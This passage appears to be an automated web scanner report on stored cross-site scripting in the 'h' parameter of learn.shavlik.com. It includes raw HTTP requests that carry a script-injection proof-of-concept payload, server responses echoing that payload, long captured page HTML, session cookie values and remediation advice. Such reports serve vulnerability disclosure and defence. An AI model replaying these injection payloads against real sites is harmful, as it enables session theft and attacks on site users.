Stored XSS, Reflected XSS, CWE-79, CAPEC-86, learn.shavlik.com

Stored cross-site scripting vulnerabilities arise when data which originated from any tainted source is copied into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.

The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.

Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP which are ultimately rendered within a web mail application).

Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach targe users, and they can potentially be exploited to create web application worms which spread exponentially amongst application users.

Note that automated detection of stored cross-site scripting vulnerabilities cannot reliably determine whether attacks that are persisted within the application can be accessed by any other user, only by authenticated users, or only by the attacker themselves. You should review the functionality in which the vulnerability appears to determine whether the application's behaviour can feasibly be used to compromise other application users.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://learn.shavlik.com/shavlik/ [h parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/shavlik/

Issue detail

The value of the h request parameter submitted to the URL /shavlik/index.cfm is copied into an HTML comment at the URL /shavlik/. The payload 2edf0--><script>alert(1)</script>e58fc9f9062 was submitted in the h parameter. This input was returned unmodified in a subsequent request for the URL /shavlik/.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request 1

GET /shavlik/index.cfm?m=1009&pg=697&h=02edf0--><script>alert(1)</script>e58fc9f9062&hp=697 HTTP/1.1
Host: learn.shavlik.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=610666; CFTOKEN=95679479

Request 2

GET /shavlik/ HTTP/1.1
Host: learn.shavlik.com
Proxy-Connection: keep-alive
Referer: http://learn.shavlik.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=610666; CFTOKEN=95679479

Response 2

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:41:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8








































       
       <script>alert(1)</script>e58fc9f9062|697 -- -->























































































<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Shavlik</title>

<link rel="stylesheet" href="style/style.css" type="text/css" media="all" />

   <script language="javascript" type="text/javascript">
       function windowOpen(sURL, bFade, sWindowName) {

           if (bFade) {
               document.getElementById("body").style.backgroundColor = "gray";
           }

           sWindowName = sWindowName || "newWindow";

           nPosX = (window.screen.width/2) - (400);
           nPosY = (window.screen.height/2) - (350 + 75);

           newWindow = window.open(sURL,sWindowName,"status=0,toolbar=0,scrollbars=1,width=800,height=600,screenX=" + nPosX + ",screenY=" + nPosY);

           newWindow.focus();

           }


   var req;

function docLoad(url) {
   req = false;
// non IE
if(window.XMLHttpRequest && !(window.ActiveXObject)) {
   try {
           req = new XMLHttpRequest();
} catch(e) {
           req = false;
}
// IE
} else if(window.ActiveXObject) {
   try {
   req = new ActiveXObject("Msxml2.XMLHTTP");
   } catch(e) {
   try {
       req = new ActiveXObject("Microsoft.XMLHTTP");
   } catch(e) {
       req = false;
   }
       }
}

   if(req) {
       //req.onreadystatechange = processReqChange;
       req.open("GET", url, false);
       req.send("");

   }

   //req = false;

}

   function downloadRecord(fileID)
   {

           sURL = "download.cfm?nFileID=" + fileID + "&a=1";
           docLoad(sURL);

   }

</script>
<link rel="stylesheet" type="text/css" href="shadowbox/shadowbox.css">
<script type="text/javascript" src="shadowbox/shadowbox.js"></script>
<script type="text/javascript">

function userCheck(sURL,nID) {

   docLoad('userCheck.cfm');

   if (req.responseText == 'num0') {

       Shadowbox.open({
    content: 'download.cfm?nFileID=0&a=1',
    player: "iframe"
    });

       return true;

   }

   else if (sURL.search('.wmv') != -1) {

       Shadowbox.open({
    content: sURL,
    player: "html",
           width: 700,
           height: 570

    });

       downloadRecord(nID);

       return true;

   }

   else {

    Shadowbox.open({
    content: sURL,
    player: "flv",
           width: 640,
           height: 364

    });

       downloadRecord(nID);

       return true;
   }

}

Shadowbox.init({
modal: true

});

</script>

</head>



















































































<body>
<img src="http://www.burstnet.com/enlightn/7214//98DD/" width="0" height="0" border="0">

<table align="center">
   <tr>
       <td>
           <img src="images/SHAV_topBar.jpg"><div id="container">

               <div id="logo">
                   <span id="hello">Welcome!</span>
               </div>

               <img src="images/SHAV_logo.jpg" id="logo">
               <img src="images/SHAV_blackLine.jpg" id="logo">

               <div id="content">

                   <table>

                       <tr>


                               <td valign = "top">
<h1>In Vulnerability Management, Eliminating Risk<br>is the Reward</h1>

<p class="copy">Your organization is constantly at risk.
       Thousands of new IT vulnerabilities emerge each year ... if you fall prey to just one,
       the consequences can be devastating.<br /><br />

       What's the most effective way to manage these risks and protect your organization?
       That's exactly what a new Aberdeen Group Report uncovers. Discover Best-in-Class
       strategies for improving vulnerability management and reducing costs</p>
       <br>
       <a href="download.cfm?nFileID=406" target="_blank" style="padding-left:15px;">Download the Aberdeen Group Vulnerability Management Report now.</a>

</td>
<td valign="center">
<a href="download.cfm?nFileID=406" target="_blank"><img src="images/SHAV_offerGraphic_1A.jpg" style="padding:70px 15px 0px 0px; border:none;"></a>
   <br /><br /><br />

</td>


                       </tr>
                   </table>

               </div>

               <div id="Boxes">
                   <table width="913px" align="center">
                       <tr>
                           <td><a style="cursor: pointer;" onclick="userCheck('http://learn.shavlik.com/shavlik/web-20100331-patching-adobe_6751533.flv',408);"><img src="images/SHAV_BlueWebinar_Btn.jpg" border="none" style="padding:15px 0px 0px 15px;"></a></td>
<td><a href="download.cfm?nFileID=407" target="_blank"><img src="images/SHAV_OrangeCS_Btn.jpg" border="none" style="padding:15px 0px 0px 14px;"></a></td>
<td><a href="download.cfm?nFileID=409" target="_blank"><img src="images/SHAV_GreenDwnlod_Btn.jpg" border="none" style="padding:15px 0px 0px 14px;"></a></td>
                       </tr>
                       <tr>
                           <td align="left" class="box-position-left">
<img src="images/SHAV_boxTop.jpg" style="padding-top: 10px;"><div class ="boxes-inner" style="height:245px;">
   <h3>Patching Adobe Software: Tips, Secrets and Solutions</h3>

   <p class="copy">Patching Adobe Software: Tips, Secrets and Solutions
Hear from the experts the best practices to keep your network protected
against Adobe vulnerabilities . View our on-demand webinar to learn how.</p>

<a style="cursor: pointer;" onclick="userCheck('http://learn.shavlik.com/shavlik/web-20100331-patching-adobe_6751533.flv',408);" class="boxLink">Watch the Webinar Now</a>

   </div>
   <img src="images/SHAV_boxBottom.jpg">
</td>

<td align="left" class="box-position">
   <img src="images/SHAV_boxTop.jpg" style="padding-top: 10px;"><div class ="boxes-inner" style="height:245px;">
   <h3>Why WSUS Isn't Enough</h3>

   <p class="copy">Multi-national manufacture PZ Cussons found
   for robust patch management, WSUS wasn't enough.
   Find out how they're saving time, reducing costs and
    gaining control and flexibility in a dynamic IT environment.</p>

<a href="download.cfm?nFileID=407" class="boxLink">Read the PZ Cussons Case Study</a>

   </div>
   <img src="images/SHAV_boxBottom.jpg">
</td>

<td align="left" class="box-position-right">
<img src="images/SHAV_boxTop.jpg" style="padding-top: 10px;"><div class ="boxes-inner" style="height:245px;">
   <h3>You're 30 Minutes from Powerful Protection</h3>

   <p class="copy">Discover why thousands of companies trust Shavlik
   to manage their assets, patches and remediation ... including automatic configuration.
   With this FREE trial offer, you'll be up and running in just 30 minutes!</p>

<p class="boxLink"><a href="download.cfm?nFileID=409" target="_blank">Download your FREE 45-Day Trial..now</a></p>

   </div>
   <img src="images/SHAV_boxBottom.jpg">
</td>

                       </tr>
                   </table>
                   <br />
               </div>

               <div id=footer>Shavlik Technologies, LLC | <a href="http://learn.shavlik.com/shavlik/index.cfm?pg=341" target="_blank" >Privacy Policy</a> | Direct: (800) 690-6911, (651) 426-6624; Fax: (651) 426-3345; Support: (866) 407-5279; Email: <a href="mailto:sales@shavlik.com" >sales@shavlik.com</a></div>
            </div>
            <img src="images/SHAV_bottomBar.jpg">
       </td>
   </tr>
</table>

</body>
</html>

</html>

1.2. http://learn.shavlik.com/shavlik/index.cfm [h parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/shavlik/index.cfm

Issue detail

The value of the h request parameter submitted to the URL /shavlik/index.cfm is copied into an HTML comment at the URL /shavlik/index.cfm. The payload da03c--><script>alert(1)</script>d0fc81ffcd5 was submitted in the h parameter. This input was returned unmodified in a subsequent request for the URL /shavlik/index.cfm.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request 1

GET /shavlik/index.cfm?m=1009&pg=697&h=0da03c--><script>alert(1)</script>d0fc81ffcd5&hp=697 HTTP/1.1
Host: learn.shavlik.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=610666; CFTOKEN=95679479

Request 2

GET /shavlik/index.cfm?m=1009&pg=697&h=0&hp=697 HTTP/1.1
Host: learn.shavlik.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=610666; CFTOKEN=95679479

Response 2

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 11:45:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8
































<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe>
<iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>

<script type="text/javascript">

function formCheck() {

retValue = false;

if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55)
       {
       alert("Please enter your First Name, between 2 and 55 characters");
       }

else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55)
       {
       alert("Please enter your Last Name, between 2 and 55 characters");
       }

   else if(document.getElementById('m_txtEmail').value == "")
       {
       alert("Please enter your email address");
       }

   else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1)
       {
       alert("Please enter a valid email address");
       }

else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50)
       {
       alert("Please enter your Phone Number, at least 10 characters");
       }

   else if(document.getElementById('m_txtCompany').value == "")
       {
       alert("Please enter your Company Name");
       }
else if(document.getElementById('m_ddlStates').value == 0)
       {
       alert("Please Choose Your State");
       }
else if(document.getElementById('Q2').value == 0)
       {
       alert("Please Choose the size of your company");
       }
   else if(document.getElementById('Q4').value == 0)
       {
       alert("Please Choose your job title");
       }

else
   {
       sLN = document.getElementById('m_txtLastName').value;


        document.getElementById('DownloadInfo').action = '/shavlik/download.cfm?nFileID=0&pg=697';
        document.getElementById('DownloadInfo').target = 'regFrame2';
        document.getElementById('DownloadInfo').submit();

        document.getElementById('m_txtLastName').value += ' -O';

        if(document.getElementById('netchk').checked == 1)
        {

            document.getElementById('DownloadInfo').action = 'http://www.shavlik.com/pDownloadForm4.aspx';
            document.getElementById('DownloadInfo').target = 'regFrame';
            document.getElementById('DownloadInfo').submit();

        }

           document.getElementById('m_txtLastName').value = sLN;

           if(document.getElementById('netchk').checked == 1){
               sNET = document.getElementById('netchk').value = 1;
               }
           else
               {
               sNET = document.getElementById('netchk').value = 0;
               }

           if(document.getElementById('caseStudy').checked == 1)
               {
               sCASE = document.getElementById('caseStudy').value = 1;
               }
           else
               {
               sCASE = document.getElementById('caseStudy').value = 0;
               }

           if(document.getElementById('webinar').checked == 1)
               {
               sWEB = document.getElementById('webinar').value = 1;
               }
           else
               {
               sWEB = document.getElementById('webinar').value = 0;
               }

               retValue = true;

            sUrl = 'thank.cfm?bnetchk=' + sNET + '&bcaseStudy=' + sCASE + '&bwebinar=' + sWEB;

               Shadowbox.open({
           content: sUrl,
           player: "iframe",
           width: 500,
               height: 400
           });



       }

return retValue;
}

</script>




































       
       <script>alert(1)</script>d0fc81ffcd5|697 -- -->























































































<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Shavlik</title>

<link rel="stylesheet" href="style/style5.css" type="text/css" media="all" />

   <script language="javascript" type="text/javascript">
       function windowOpen(sURL, bFade, sWindowName) {

           if (bFade) {
               document.getElementById("body").style.backgroundColor = "gray";
           }

           sWindowName = sWindowName || "newWindow";

           nPosX = (window.screen.width/2) - (400);
           nPosY = (window.screen.height/2) - (350 + 75);

           newWindow = window.open(sURL,sWindowName,"status=0,toolbar=0,scrollbars=1,width=800,height=600,screenX=" + nPosX + ",screenY=" + nPosY);

           newWindow.focus();

           }


   var req;

function docLoad(url) {
   req = false;
// non IE
if(window.XMLHttpRequest && !(window.ActiveXObject)) {
   try {
           req = new XMLHttpRequest();
} catch(e) {
           req = false;
}
// IE
} else if(window.ActiveXObject) {
   try {
   req = new ActiveXObject("Msxml2.XMLHTTP");
   } catch(e) {
   try {
       req = new ActiveXObject("Microsoft.XMLHTTP");
   } catch(e) {
       req = false;
   }
       }
}

   if(req) {
       //req.onreadystatechange = processReqChange;
       req.open("GET", url, false);
       req.send("");

   }

   //req = false;

}

   function downloadRecord(fileID)
   {

           sURL = "download.cfm?nFileID=" + fileID + "&a=1";
           docLoad(sURL);

   }

</script>
<link rel="stylesheet" type="text/css" href="shadowbox/shadowbox.css">
<script type="text/javascript" src="shadowbox/shadowbox.js"></script>
<script type="text/javascript">

function userCheck(sURL,nID) {

   docLoad('userCheck.cfm');

   if (req.responseText == 'num0') {

       Shadowbox.open({
    content: 'download.cfm?nFileID=0&a=1',
    player: "iframe"
    });

       return true;

   }

   else if (sURL.search('.wmv') != -1) {

       Shadowbox.open({
    content: sURL,
    player: "html",
           width: 700,
           height: 570

    });

       downloadRecord(nID);

       return true;

   }

   else {

    Shadowbox.open({
    content: sURL,
    player: "flv",
           width: 640,
           height: 364

    });

       downloadRecord(nID);

       return true;
   }

}

Shadowbox.init({
modal: true

});

</script>

</head>





























































































































































       <body>
   <div id="wrapper">
           <div style="background-image:url('images/SHAV_topBar.jpg'); background-repeat:no-repeat; height:30px;"></div>

           <div id="container">

               <div id="logo">
                   <a href="index.cfm?pg=374" target="_blank"><img src="images/SHAV_INT_downloadForm_btn.jpg" style="border:none; float:right; margin-right:20px;"></a>
               </div>


               <div id="topContainer">
                   <img src="images/Shav_LP_serious_safe.png" style="margin:-25px 0 -20px 65px; position:absolute;">

                   <div id="content">
                       <h1 style="font-size:43px; margin-left:0;">It's 360.. Protection, 24/7</h1>
                       <img src="images/SHAV_LP_patch_logo.png">

                       <p class="contentCopy">
                           <strong>NetChk..</strong> Protect is the comprehensive agentless patch management system designed to meet today...s most pressing IT challenges. NetChk.. Protect simplifies the complexity of IT management by automating patching ... for both your operating system and for third-party applications ... so you...re protected from every angle.
                           <br /><br />
                           In less than 30 minutes, <strong>NetChk..</strong> Protect will be up and running, detecting and deploying missing patches.
                           <br /><br />
                           <strong>NetChk..</strong> Protect also includes the Sunbelt VIPRE Enterprise Antivirus + Antispyware + Antimalware engine to integrate world-class antivirus protection with comprehensive patch management for faster, more cost-effective network security.
                            </p>
                   </div>
                   <div style="background-image:url('images/SHAV_blackLine.jpg'); background-repeat:no-repeat; height:19px;"></div>
               </div>


               <div id="bottomContainer">

                   <div id="leftBottom">
                       <a href="index.cfm?pg=704" style="text-decoration:none;"><h2>SimplexITy Bundle Savings of 80% <img src="images/Shav_LP_serious_arrow.png" style="border:0;"></h2></a>

                       <h3 style="font-style:italic;">For a limited time, the more Shavlik IT Management products you use, the more you save.</h3>
                       <p class="bottomCopy">NetChk.. Protect is part of the Shavlik SimplexITy Bundle, the ultimate IT management solution for network professionals. Combining our best-in-class network security and IT management applications, the bundle is the comprehensive answer to your patch management, antivirus, power management, and configuration challenges.</p>

                       <h3 style="font-style:italic;">Explore the Shavlik SimplexITy Bundle:</h3>

<p class="bottomCopy">Click on the links below for detailed information on each functionality that can simplify your IT workload:</p>

<ul class="bottomCopy" style="margin-left:15px; padding:0; line-height:26px;">
                           <li><a href="index.cfm?pg=697" class="current">Automated Patch Management</a></li>
                           <li><a href="index.cfm?pg=698">Next-generation Enterprise Antivirus</a></li>
                           <li><a href="index.cfm?pg=701">Centralized Power Management</a></li>
                           <li><a href="index.cfm?pg=699">Simplified Configuration and Compliance</a></li>
                       </ul>
                   </div>

                   <div id="middleBottom">
                       <p class="bottomCopy" style="margin-top:0;">For a fraction of the money you spend for antivirus protection today, you can simplify the complexity of IT management and have complete protection against your top security threats.</p>

                       <img src="images/Shav_LP_serious_piggyBank.jpg" style="padding-top:10px;">
                   </div>

                   
                   <div id="rightBottom">


       <tr>
                                       <td>


                                                                                                            <form name="DownloadInfo" method="post" action="http://www.shavlik.com/pDownloadForm4.aspx" id="DownloadInfo" style="text-align: center;" target="regFrame">

                                                                                                           <p id="formHeader">Download a FREE Trial Today</p>

                       <p class="bottomCopy" style="margin-bottom:0;">Register today to try Shavlik...s NetChk.. Protect patch management - or save even more by upgrading to the SimplexITy bundle! <span style="font-style:italic; font-size:11px;">* Denotes Required Fields</span></p>

<div style="display:none;">
                                                        <input type="checkbox" name="caseStudy" id="caseStudy" value="1">

                                                           <input type="checkbox" name="webinar" id="webinar" value="1">

                                                           <input type="checkbox" name="netchk" id="netchk" value="1" checked>
                                                       </div>

                                                                                                           <input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
                                                           <input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
                                                           <input type="hidden" name="__LASTFOCUS" id="__LASTFOCUS" value="" />


                                                           

                                                           




<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTYwMjE4NTY4NA8WAh4McmVmZXJyaW5nVVJMBSVodHRwOi8vd3d3LnNoYXZsaWsuY29tL3N0YXJ0LW5vdy5hc3B4FgJmD2QWBAI5DxBkZBYBZmQCPw8QZGQWAWZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYEBQ9zaGF2bGlrQW5ub3VuY2UFCnNoYXZsaWtYbWwFD3BhdGNoTWFuYWdlbWVudAUKcmVtZWRpYXRvct++OIgVp3OZ+ALV5LJOZtEO1rH0" />


                                                           


                                                            
                                                            <table style="" id="formTable" cellpadding="5" cellspacing="0" border="0" align="left" class="copy">
                                                            <tr valign="top">
                                                            <td colspan="2"><div id="m_vsValidationSummary" class="form_error" style="color:Red;display:none;">

                                                           
                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div id="divLblFirstName" align="right">First Name:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtFirstName" type="text" maxlength="50" id="m_txtFirstName" style="width:200px;" value="" />

                                                            </td>
                                                            </tr>

                                                            
                                                            <tr>
                                                            <td><div id="divLblLastName" align="right">Last Name:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtLastName" type="text" maxlength="50" id="m_txtLastName" style="width:200px;" value="" />

                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>

                                                            <td><div id="divLblEmail" align="right">Email:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtEmail" type="text" maxlength="50" id="m_txtEmail" style="width:200px;" value="" />

                                                            </td>

                                                            </tr>

                                                            
                                                            <tr>
                                                            <td><div id="divLblPhone" align="right">Phone:<span class="alert">*</span></div></td>

                                                            <td align="left"><input name="m_txtPhone" type="text" maxlength="50" id="m_txtPhone" style="width:200px;" value="" />

                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div id="divLblCompany" align="right">Company:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtCompany" type="text" maxlength="200" id="m_txtCompany" type="text" name="m_txtCompany" size="20" style="width:200px;" value="" />

                                                            </td>

                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div id="divLblCity" align="right">City:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtCity" type="text" maxlength="200" id="m_txtCity" type="text" name="m_txtCity" size="20" style="width:200px;" value="City" />

                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>

                                                            <td><div id="divLblState" align="right">State:<span class="alert">*</span></div></td>
                                                            <td align="left"><select name="m_ddlStates" id="m_ddlStates" style="width:200px;">
                                                               <option value="0" selected="selected" > -select-</option>
                                                               <option value="AL">Alabama</option>
                                                               <option value="AK">Alaska</option>
                                                               <option value="AS">American Samoa</option>

                                                               <option value="AZ">Arizona</option>
                                                               <option value="AR">Arkansas</option>
                                                               <option value="CA">California</option>
                                                               <option value="CO">Colorado</option>
                                                               <option value="CT">Connecticut</option>
                                                               <option value="DE">Delaware</option>

                                                               <option value="DC">District Of Columbia </option>
                                                               <option value="FM">Federated States Of Micronesia </option>
                                                               <option value="FL">Florida</option>
                                                               <option value="GA">Georgia</option>
                                                               <option value="GU">Guam</option>
                                                               <option value="HI">Hawaii</option>

                                                               <option value="ID">Idaho</option>
                                                               <option value="IL">Illinois</option>
                                                               <option value="IN">Indiana</option>
                                                               <option value="IA">Iowa</option>
                                                               <option value="KS">Kansas</option>
                                                               <option value="KY">Kentucky</option>

                                                               <option value="LA">Louisiana</option>
                                                               <option value="ME">Maine</option>
                                                               <option value="MH">Marshall Islands</option>
                                                               <option value="MD">Maryland</option>
                                                               <option value="MA">Massachusetts</option>
                                                               <option value="MI">Michigan</option>

                                                               <option value="MN">Minnesota</option>
                                                               <option value="MS">Mississippi</option>
                                                               <option value="MO">Missouri</option>
                                                               <option value="MT">Montana</option>
                                                               <option value="NE">Nebraska</option>
                                                               <option value="NV">Nevada</option>

                                                               <option value="NH">New Hampshire</option>
                                                               <option value="NJ">New Jersey</option>
                                                               <option value="NM">New Mexico</option>
                                                               <option value="NY">New York</option>
                                                               <option value="NC">North Carolina</option>
                                                               <option value="ND">North Dakota</option>

                                                               <option value="MP">Northern Mariana Islands</option>
                                                               <option value="OH">Ohio</option>
                                                               <option value="OK">Oklahoma</option>
                                                               <option value="OR">Oregon</option>
                                                               <option value="PW">Palau</option>
                                                               <option value="PA">Pennsylvania</option>

                                                               <option value="PR">Puerto Rico</option>
                                                               <option value="RI">Rhode Island</option>
                                                               <option value="SC">South Carolina</option>
                                                               <option value="SD">South Dakota</option>
                                                               <option value="TN">Tennessee</option>
                                                               <option value="TX">Texas</option>

                                                               <option value="UT">Utah</option>
                                                               <option value="VT">Vermont</option>
                                                               <option value="VI">Virgin Islands</option>
                                                               <option value="VA">Virginia</option>
                                                               <option value="WA">Washington</option>
                                                               <option value="WV">West Virginia</option>

                                                               <option value="WI">Wisconsin</option>
                                                               <option value="WY">Wyoming</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div align="right">Country:<span class="alert">*</span></div></td>

                                                            <td align="left"><select name="m_ddlCountries" onchange="javascript:setTimeout('__doPostBack(\'m_ddlCountries\',\'\')', 0)" id="m_ddlCountries" style="width:200px;">
                                                               <option selected="selected" value="1">USA</option>
                                                               <option value="2">APO/FPO</option>
                                                               <option value="3">Canada</option>
                                                               <option value="4">United Kingdom</option>
                                                               <option value="5">Afghanistan</option>

                                                               <option value="6">Albania</option>
                                                               <option value="7">Algeria</option>
                                                               <option value="8">American Samoa</option>
                                                               <option value="9">Andorra</option>
                                                               <option value="10">Angola</option>
                                                               <option value="11">Anguilla</option>

                                                               <option value="12">Antigua and Barbuda</option>
                                                               <option value="13">Argentina</option>
                                                               <option value="14">Armenia</option>
                                                               <option value="15">Aruba</option>
                                                               <option value="16">Australia</option>
                                                               <option value="17">Austria</option>

                                                               <option value="18">Azerbaijan Republic </option>
                                                               <option value="19">Bahamas</option>
                                                               <option value="20">Bahrain</option>
                                                               <option value="21">Bangladesh</option>
                                                               <option value="22">Barbados</option>
                                                               <option value="23">Belarus</option>

                                                               <option value="24">Belgium</option>
                                                               <option value="25">Belize</option>
                                                               <option value="26">Benin</option>
                                                               <option value="27">Bermuda</option>
                                                               <option value="28">Bhutan</option>
                                                               <option value="29">Bolivia</option>

                                                               <option value="30">Bosnia and Herzegovina</option>
                                                               <option value="31">Botswana</option>
                                                               <option value="32">Brazil</option>
                                                               <option value="33">British Virgin Islands</option>
                                                               <option value="34">Brunei Darussalam</option>
                                                               <option value="35">Bulgaria</option>

                                                               <option value="36">Burkina Faso</option>
                                                               <option value="37">Burma</option>
                                                               <option value="38">Burundi</option>
                                                               <option value="39">Cambodia</option>
                                                               <option value="40">Cameroon</option>
                                                               <option value="41">Canada</option>

                                                               <option value="42">Cape Verde Islands</option>
                                                               <option value="43">Cayman Islands</option>
                                                               <option value="44">Central African Republic</option>
                                                               <option value="45">Chad</option>
                                                               <option value="46">Chile</option>
                                                               <option value="47">China</option>

                                                               <option value="48">Colombia</option>
                                                               <option value="49">Comoros</option>
                                                               <option value="50">Congo, Democratic Republic of the </option>
                                                               <option value="51">Congo, Republic of the</option>
                                                               <option value="52">Cook Islands</option>
                                                               <option value="53">Costa Rica</option>

                                                               <option value="54">Cote d Ivoire (Ivory Coast)</option>
                                                               <option value="55">Croatia, Republic of </option>
                                                               <option value="56">Cuba</option>
                                                               <option value="57">Cyprus</option>
                                                               <option value="58">Czech Republic</option>
                                                               <option value="59">Denmark</option>

                                                               <option value="60">Djibouti</option>
                                                               <option value="61">Dominica</option>
                                                               <option value="62">Dominican Republic</option>
                                                               <option value="63">Ecuador</option>
                                                               <option value="64">Egypt</option>
                                                               <option value="65">El Salvador</option>

                                                               <option value="66">Equatorial Guinea</option>
                                                               <option value="67">Eritrea</option>
                                                               <option value="68">Estonia</option>
                                                               <option value="69">Ethiopia</option>
                                                               <option value="70">Falkland Islands (Islas Malvinas)</option>
                                                               <option value="71">Fiji</option>

                                                               <option value="72">Finland</option>
                                                               <option value="73">France</option>
                                                               <option value="74">French Guiana</option>
                                                               <option value="75">French Polynesia</option>
                                                               <option value="76">Gabon Republic</option>
                                                               <option value="77">Gambia</option>

                                                               <option value="78">Georgia</option>
                                                               <option value="79">Germany</option>
                                                               <option value="80">Ghana</option>
                                                               <option value="81">Gibraltar</option>
                                                               <option value="82">Greece</option>
                                                               <option value="83">Greenland</option>

                                                               <option value="84">Grenada</option>
                                                               <option value="85">Guadeloupe</option>
                                                               <option value="86">Guam</option>
                                                               <option value="87">Guatemala</option>
                                                               <option value="88">Guernsey</option>
                                                               <option value="89">Guinea</option>

                                                               <option value="90">Guinea-Bissau</option>
                                                               <option value="91">Guyana</option>
                                                               <option value="92">Haiti</option>
                                                               <option value="93">Honduras</option>
                                                               <option value="94">Hong Kong</option>
                                                               <option value="95">Hungary</option>

                                                               <option value="96">Iceland</option>
                                                               <option value="97">India</option>
                                                               <option value="98">Indonesia</option>
                                                               <option value="99">Iran</option>
                                                               <option value="100">Iraq</option>
                                                               <option value="101">Ireland</option>

